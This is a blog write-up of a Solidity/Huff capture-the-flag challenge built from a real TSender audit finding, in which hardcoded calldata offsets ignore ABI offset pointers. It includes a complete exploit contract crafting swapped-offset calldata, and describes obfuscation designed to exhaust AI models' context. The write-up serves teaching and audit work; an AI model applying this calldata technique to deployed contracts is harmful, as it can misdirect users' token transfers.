← Back to list

Token Sender CTF Writeup

You’re about to read how a bug found in a CodeHawks competitive audit became a CTF challenge, and why 665 lines of obfuscated Huff bytecode…

Patrick Collins · 2026-04-07 23:04 · 11 claps · 6.0 min read
#ctf #defi-wonderland #ethcc #solidity
Open on Medium ↗
Wiki topics: CRY · Crypto & Web3

Token Sender CTF Writeup

You’re about to read how a bug found in a CodeHawks competitive audit became a CTF challenge, and why 665 lines of obfuscated Huff bytecode couldn’t save it from anyone who actually understands how ABI encoding works.

The Setup

You’re given three contracts:

  1. Challenge.sol — The entry point. It holds 1,000 InfinityToken, validates your calldata, forwards it to MONEY_MOVES, and checks whether the call reverted.
  2. InfinityToken.sol — A standard ERC20 with a resetBalance() that wipes all balances and re-mints to the Challenge after every attempt. You get infinite tries.
  3. MONEY_MOVES — A contract deployed at a hardcoded address (0x6b28...0b9A). You're not given the source. Just the bytecode.

The win condition? Make isSolved() return true.

if (!resp) {
    solved = true;
}

That’s it. You need to craft calldata that:

  • Passes Challenge.validateCalldata() (correct selector, token address, array lengths match, amounts sum up, etc.)
  • Reverts when forwarded to MONEY_MOVES

If the call to MONEY_MOVES reverts but all the validation checks pass, you win.

So the question is: what does MONEY_MOVES actually do, and how can valid-looking calldata make it revert?

Step 1: Reverse Engineering MONEY_MOVES

You’re staring at raw bytecode. I wrote this contract in the huff language (a low-level EVM programming language). If you throw this into a decompiler, you’ll find:

  • 71 function selectors in the dispatcher
  • getVersion(), getOwner(), getNonce(), getOracle(), getBeacon(), getProxy()... the list goes on
  • Dozens of stubs that return things like caller, address(this), block.number, chainid, etc.
  • Five “validation gates” that run before the main logic: calldata checksums, temporal bounds checks, caller identity proofs, entropy gates, storage warmth checks
  • More gates inside the main logic between critical operations

If you’re an AI trying to process all of this, congratulations, you just burned through a massive chunk of your context window on functions that return 0x01 or msg.sender.

That was the point. More on this later.

Step 2: Finding the Real Function

Buried at line 486 (in the Huff source, if you had it) or deep in the dispatcher bytecode:

// sendMoney buried here - no dup1 so selector is consumed
__FUNC_SIG(sendMoney) eq sendMoney jumpi

Note the missing dup1 -- every other selector check duplicates the selector on the stack before comparing. This one consumes it. A subtle way to make it harder to spot in a linear scan of the dispatcher.

The function signature is sendMoney(address,address[],uint256[],uint256) with selector 0xa0b37b73.

Step 3: The Vulnerability

Here’s the core of the Huff implementation. Forget the 10 validation gates, forget the 69 getter stubs. This is the part that matters:

#define constant NUMBER_OF_RECIPIENTS_OFFSET = 0x84
#define constant RECIPIENT_ONE_OFFSET = 0xa4
#define constant TOTAL_AMOUNT_OFFSET = 0x64

Hardcoded calldata offsets for dynamic arrays.

If you’ve worked with ABI encoding, you know that dynamic types (like address[] and uint256[]) aren't stored inline in calldata. Instead, the head section contains offset pointers that tell you where the actual array data lives. The Solidity compiler can put the arrays in any order, the offsets tell you where to look.

But this Huff contract doesn’t follow the offset pointers. It assumes:

  • The total amount is always at cd[0x64]
  • The recipients array length is always at cd[0x84]
  • The first recipient is always at cd[0xa4]

This assumption holds when solc encodes sendMoney(token, recipients, amounts, total) in the "standard" order -- recipients at offset 0x80, amounts after. But the ABI spec doesn't guarantee this order. The offsets are the source of truth, not the positions.

Meanwhile, Challenge.validateCalldata() does it correctly:

let off1 := calldataload(add(cd, 0x20))  // read offset pointer 1
let off2 := calldataload(add(cd, 0x40))  // read offset pointer 2
let arr1Pos := add(cd, off1)              // follow the pointer

The Challenge follows the pointers. MONEY_MOVES ignores them. That’s the gap.

Step 4: The Exploit

Swap the offsets. Put the amounts array where MONEY_MOVES expects recipients, and vice versa.

bytes memory data = abi.encodePacked(
    bytes4(0xa0b37b73),                      // sendMoney selector
    bytes32(uint256(uint160(token))),         // tokenAddress
    bytes32(uint256(0xE0)),                   // offset to recipients (swapped!)
    bytes32(uint256(0x80)),                   // offset to amounts (swapped!)
    bytes32(amount),                          // totalAmount = 1000e18
    // Amounts array at offset 0x80 (where MONEY_MOVES reads recipients):
    bytes32(uint256(2)),                      // length = 2
    bytes32(uint256(0)),                      // amounts[0] = 0
    bytes32(amount),                          // amounts[1] = 1000e18
    // Recipients array at offset 0xE0:
    bytes32(uint256(2)),                      // length = 2
    bytes32(uint256(uint160(address(1)))),    // recipients[0]
    bytes32(uint256(uint160(address(1))))     // recipients[1]
);

What happens:

  1. Challenge.validateCalldata() follows the offset pointers correctly. It reads recipients from offset 0xE0 and amounts from offset 0x80. Lengths match (2 == 2). Sum of amounts = 0 + 1000e18 = 1000e18. totalAmount matches. Token address is correct. All checks pass.
  2. MONEY_MOVES ignores the offsets and reads from hardcoded positions. At cd[0x84], it finds amounts.length = 2. At cd[0xa4], it finds amounts[0] = 0. It tries to send tokens to address(0) and reverts.

The call reverts. resp is false. solved = true.

How the Calldata Layout Works

Here’s the byte-level view of what MONEY_MOVES sees vs. what’s actually there:

Offset   What MONEY_MOVES thinks        What's actually there
------   -------------------------      ----------------------
0x04     tokenAddress                   tokenAddress (correct)
0x24     recipients offset ptr          0xE0 (recipients offset - ignored)
0x44     amounts offset ptr             0x80 (amounts offset - ignored)
0x64     totalAmount                    1000e18 (correct)
0x84     recipients.length   <----      amounts.length = 2
0xa4     recipients[0]       <----      amounts[0] = 0  --> address(0) REVERT!
0xc4     recipients[1]       <----      amounts[1] = 1000e18
0xe4     (amounts area)                 recipients.length = 2
0x104    ...                            recipients[0] = address(1)
0x124    ...                            recipients[1] = address(1)

MONEY_MOVES reads amounts[0] = 0 as a recipient address, hits the zero-address check, and reverts with error 0x1647bca2.

The Anti-AI Obfuscation (And Why It Doesn’t Stop Humans)

When I first built this challenge, I wanted to see how easy it was for Claude to solve. I threw the Huff source at an AI and it found the bug in one shot after 10 minutes. My prompt was “solve this CTF”. Not great for a CTF.

So I had AI help me add a lot of noise:

  • 69 getter stub functionsgetVersion, getOwner, getOracle, getBeacon, getProxy, getValidator... all returning garbage like msg.sender or block.number. They exist purely to bloat the dispatcher and confuse decompilers.
  • 10 “validation gate” macros — Tautological checks that always pass but look scary in bytecode. Calldata checksums (sha3 is never zero). Temporal bounds (timestamp * block.number > 0). Self-XOR identity proofs (x ^ x == 0). Entropy gates. Cold SLOAD warmth checks from phantom storage slots. They’re sprinkled before AIRDROP_ERC20, between lengths_match and the transferFrom, after the transferFrom, and before ARE_LISTS_VALID.
  • XOR-hidden selectorstransferFrom and transfer selectors are computed at runtime via XOR with 0xdeadbeef.
  • Red herring memory writes — The contract reads ABI offset pointers into memory, sums them, stores timestamps… and never uses any of it.

An AI trying to reason about all of this will chew through tokens processing 665 lines of Huff. But a human? A human who knows EVM and ABI encoding looks at the dispatcher, finds sendMoney, scrolls to the macro, sees the hardcoded offsets, and thinks "oh, that's the TSender bug."

If you’ve seen this pattern before — and especially if you participated in the CodeHawks TSender audit — you could identify the vulnerability in minutes, even through all the noise.

However… An AI could still solve this even with all the noise I added, but you had to guide it a little more than just one-shotting it. Also, it took Claude Opus 4.6 over an hour wasted a LOT of your tokens. So in a sense, this was a “pay-to-win” challenge if you use exclusively AI. But a human + AI could solve it the most efficiently.

The Real Bug

This isn’t a made-up vulnerability. It was a real medium-severity finding in the TSender protocol, discovered during a CodeHawks competitive audit in May 2024:

TSender.huff and TSender_NoCheck.huff transfer funds to incorrect addresses

The Huff implementations hardcode calldata offsets, but dynamic array types lack fixed positions in calldata. When the ABI encoder arranges recipients and amounts arrays in different orders than expected, the contract reads from wrong memory locations and executes incorrect transfers.

In the real protocol, this meant tokens could be sent to the wrong addresses. In this CTF, we turned it into a challenge: make the same bug cause a revert instead.

I learned about this bug while writing Huff smart contracts and studying the audit results. It’s a subtle thing, the Solidity encoder always lays out dynamic arrays in declaration order, so hardcoded offsets work in testing. But the decoder follows the offset pointers, meaning the actual array data can live anywhere in calldata. Any manually crafted calldata can put the arrays in whatever order it wants, and a correct decoder will handle it fine. The Huff contract isn’t a correct decoder.

Full Solution Contract

contract Exploit {
    Challenge private immutable CHALLENGE;
    constructor(Challenge challenge) {
        CHALLENGE = challenge;
    }
    function exploit() external {
        address token = address(CHALLENGE.TOKEN());
        address recipient = address(1);
        uint256 amount = CHALLENGE.STARTING_MONEY();
        bytes memory data = abi.encodePacked(
            bytes4(0xa0b37b73),
            bytes32(uint256(uint160(token))),
            bytes32(uint256(0xE0)),
            bytes32(uint256(0x80)),
            bytes32(amount),
            bytes32(uint256(2)),
            bytes32(uint256(0)),
            bytes32(amount),
            bytes32(uint256(2)),
            bytes32(uint256(uint160(recipient))),
            bytes32(uint256(uint160(recipient)))
        );
        CHALLENGE.sendMoney(data);
    }
}

TL;DR

  1. MONEY_MOVES uses hardcoded calldata offsets instead of following ABI offset pointers
  2. Challenge.validateCalldata() follows the pointers correctly
  3. Swap the array positions in your calldata so validation passes but execution reads garbage
  4. MONEY_MOVES tries to send tokens to address(0) and reverts
  5. Revert + passed validation = solved

The 665 lines of obfuscated Huff? Ignore most of it. The bug is in three #define constant lines.


메타데이터
post_id
dfe49d0e2db0
slug
token-sender-ctf-writeup-dfe49d0e2db0
url
https://medium.com/@patrickalphac/token-sender-ctf-writeup-dfe49d0e2db0
canonical_url
https://medium.com/@patrickalphac/token-sender-ctf-writeup-dfe49d0e2db0
author_url
https://medium.com/@patrickalphac
status
ok
fetched_at
2026-06-23 17:05:31